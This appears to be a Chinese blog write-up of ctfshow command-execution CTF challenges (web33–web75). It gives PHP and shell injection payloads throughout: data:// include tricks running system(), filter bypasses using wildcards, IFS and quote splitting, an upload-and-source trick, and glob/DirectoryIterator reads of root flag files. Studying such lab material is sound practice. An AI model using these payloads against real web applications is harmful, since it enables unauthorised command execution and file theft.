ctfshow,命令执行系列

web33

屏蔽的参数有点多,采用文件包含。先让他多获取一个参数 a 并且执行就要用到include但是要加空格,空格被屏蔽了,尝试用进行转码有%0A是空格就有include%0A$_GET[a]这就是获取参数,下面就是构造文件了,这里哟啊用到php伪协议,使用data://进行执行 data://text/plain,<?php system('ls');?>后发现有两文件,使用tac进行读取。完结

web35

代码:

发现没有屏蔽掉include所以可以继续使用上面的方法进行文件包含

/?c=include%0A$_GET[a]?>&a=data://text/plain,<?php system('tac f*');?>

 web36

代码:

同理没有屏蔽include,直接写入代码获取flag

web37

代码:

发现只有flag被屏蔽了,但是多了个include进行文件包含,分析代码跟前面我们构造的代码几乎一样

前面的代码:
/?c=include%0A$_GET[a]?>&a=data://text/plain,<?php system('tac f*');?>

写入文件是这样的

c - include $GET[a]

a 文件是这样的:<?php system('tac f*');?>

现在的代码是直接获取相当与不用构造include函数,直接传data构造文件就能执行

所以代码:

/?c=data://text/plain,<?php system('tac fl*');?>

web38:

代码:

过滤了php,所以<?php system('、ls');?> 就不能使用了,但是可以用<?=函数来进行代替<?php

所以<?= system('ls');?>就可以执行

web39

代码:

 看到include后面加了给.php,先来看一下include是怎么运行的,传入的参数

/?c=data://text/plain,<?php system('ls');?>

会与后面的。PHP结合变成

<?php system('ls');?>.php

这样就执行不了,但是我们在

/?c=data://text/plain,<?php system('ls');?>后面加上注释//

变成

/?c=data://text/plain,<?php system('ls');?>//

就会结合成

<?php system('ls');?>//.php

就能运行了

web40:

代码:

一看几乎把特殊字符全部屏蔽了,直接大g。仔细观察发现他的括号是中文的,就可以在上面做文章。就要用到函数进行查看了,但是php函数太多,用大佬们wp中的函数.。

先一步一步来,看函数是干什么用的。这里先使用print看一下能不能打印发现可以。

先查看localeconv函数是个什么用的

localeconv():

发现是一个array,不好进行调试,换一个查看函数,

print_r():

结果是这样的:

 第一个是一个.,网络检查发现服务器是一个linux的,linux的文件代表

当前目录下,所以我们需要返回.个体读取文件的函数还要获取当前目录下的文件就要用到pos返回第一个元素,用scandir查看当前目录

放到靶场里面是这样的:

 发现有flag在第3个,也就是倒数第二个要把数组倒过来后使用next进行读取flag,倒置数组函数:array_reverse();

 发现现在锁定了flag这个文件,人后就是文件的查看,有这几个函数,一个一个试发现

最后一个可以读取

web41

这题要会写爬虫代码

把过滤的字符屏蔽掉,然后用没有被屏蔽的字符进行字符串构造就出来了

web42

被重定向了,但是有2>&1这个在php里面是错误重定向。就是不管是正确还是错误都会输出到文件里。我们让他直接错误.加一个;像这样ls(你想要执行的命令);随便一个命令。就能出结果

web43

和43差不多,但是发现;被过滤了。改用其他符号。看来大佬的wp发现||也能有分隔的作用。用||代替;九年出结果

web44:

和43差不多,但是过滤了flag,可以使用正则匹配进行查看,像这样f*进行读取

web45

过滤了 ,tac不能进行查看了,尝试用url编码发现。不能注入。换一个方法,用tab也能执行,使用tab的url编码进行注入发现可以,获取flag

web46

发现*被过滤了用单引号尝试进行注入,发现可以,直接获取flag

web47

没有屏蔽tab和||就能继续使用上一题的做法继续进行

web48

把单引号过滤了,换成双引号得出flag

web49

发现他把%过滤了但是好像是,没起到作用,因为你拿上一题的代码跑也能跑出来

web50

09也被过滤了,所以说不能用空格或者tab进行分隔但是我们可以换一个,提示里面有一个<继续,尝试使用<代替tab,发现成功,获得flag

web51

发现把tac过滤了。用''把tac分隔获取flag

web52

发现<也被过滤了网上搜一下,看一下有没有代替空格的

这里发现,大部分都被过滤了,使用IFS试试。看一下IFS使用

 带进去就能读取flag,但是在当前目录的flag是假的,要到更目录下的才是真的        

web53:

没有把iFS过滤,可以直接获取flag

web54:

发现ls没有被禁用先ls查看一波。发现flag.

但是看他把大部分都屏蔽了, .*表示匹配前面的所有字符,所以像c\at什么的都不能用了,只要有cat都被屏蔽了,所以我们可以换一个,cat不行就c?t让他给我们自己猜。

web55;

忘记写了,有时间在补回来

web56

代码:

 一看无从下手,字母数字全都被屏蔽了,字符也过滤了。

看了一下大佬的wp,要用到.。上网搜了一下

既然可以执行文件,那么接下来就是上传文件上去。这里要用到html进行上传

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://49cef757-11fa-4a19-9202-1375911b591b.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

还要一个php文件,里面是你要执行的sh命令

我是这样的

#!/bin/sh

ls

使用bp抓包,发现上传上去被重定向到题目界面,就需要构造语句进行调用刚刚上擦胡那个上传的文件。因为字符全部都被屏蔽了所以只能用通配符来进行执行,像这样

.%20/???/????????

 .后面需要加空格,就行url编码是%20后面就是文件所在的路径 我建议是*全匹配,不伤头

web57

代码:

他说在36.php,system里面都直接是查看了,那我们就只需要构造36这个数字就完了

但是发现好多词都被屏蔽了,看一眼提示

看到好多字符,眼睛都花了

结果这题没想明白,g

web58

代码:

一看eval我就这把直接system直接读取了,后来发现他报错说被禁用了。就只能不断尝试flag一般在flag.php里面,就尝试构造文件进行读取网上查了查看文件的方式有这几种

构造一下语句

c=file_get_contents("flag.php");

发现空白,打开网页源代码也是空白就换下一个

c=readfile("flag.php");

这个虽然是空白但是网页源代码里面有flag进行提交

web59:

尝试用上一题的payload

发现被禁用了刚才查出来的还有一个,用那个进行构造,flag就出来的

web60:

代码:

用上一题的也被禁用了,重新去网上搜

最后一个一个试发现 ,出来最后一个其他全都不能用

web61:

没有把上一题的函数禁用直接获取flag

web62:

没禁用直接上一题的payload获取flag

web63:

payload:c=show_source("flag.php");

web64:

payload:c=show_source("flag.php");

web65:

payload:c=show_source("flag.php");

web66:

上难度了,这要用到我们前面用到的函数

scandir("/");

 这个是返回目录文件的函数,通常是.,..,文件名可以代替ls

发现flag.php,进去他说没有在这里

切换到根目录看一下

发现有一个flag.txt文件查看一下发现是flag

web67:

发现print_r被禁用了,网上搜一下

 就只有最后一个不怎么见过试试,发现可以。

直接读取获取flag

web69:

一直进不去index主界面,用scandir看一下

有看一眼根目录

发现有flag.txt,尝试进行读取获取flag

payload:c=include("/flag.txt");

web70

还是进不去主界面,先看一下有什么

发现根界面有一个flag.txt,尝试进行读取

web71:

发现有附件查看附件,进行审计

 先尝试查看一下文件

相当于我们就到eval就想要他结束,这就要用到exit函数

查看根目录

尝试读取

获取flag

web72:

要用到一个代码,暂时不会

web73:

用提示的代码,放到bp里面跑

payload:c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} exit(0);
?>发现有回显用include进行读取

payload:c=?><?php
include("/flagc.txt");exit(0);
?>

web74:

和上一题一样的做法

web75:

include被限制了,没想到办法绕过,不会

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
在CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门之命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

九月一。

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值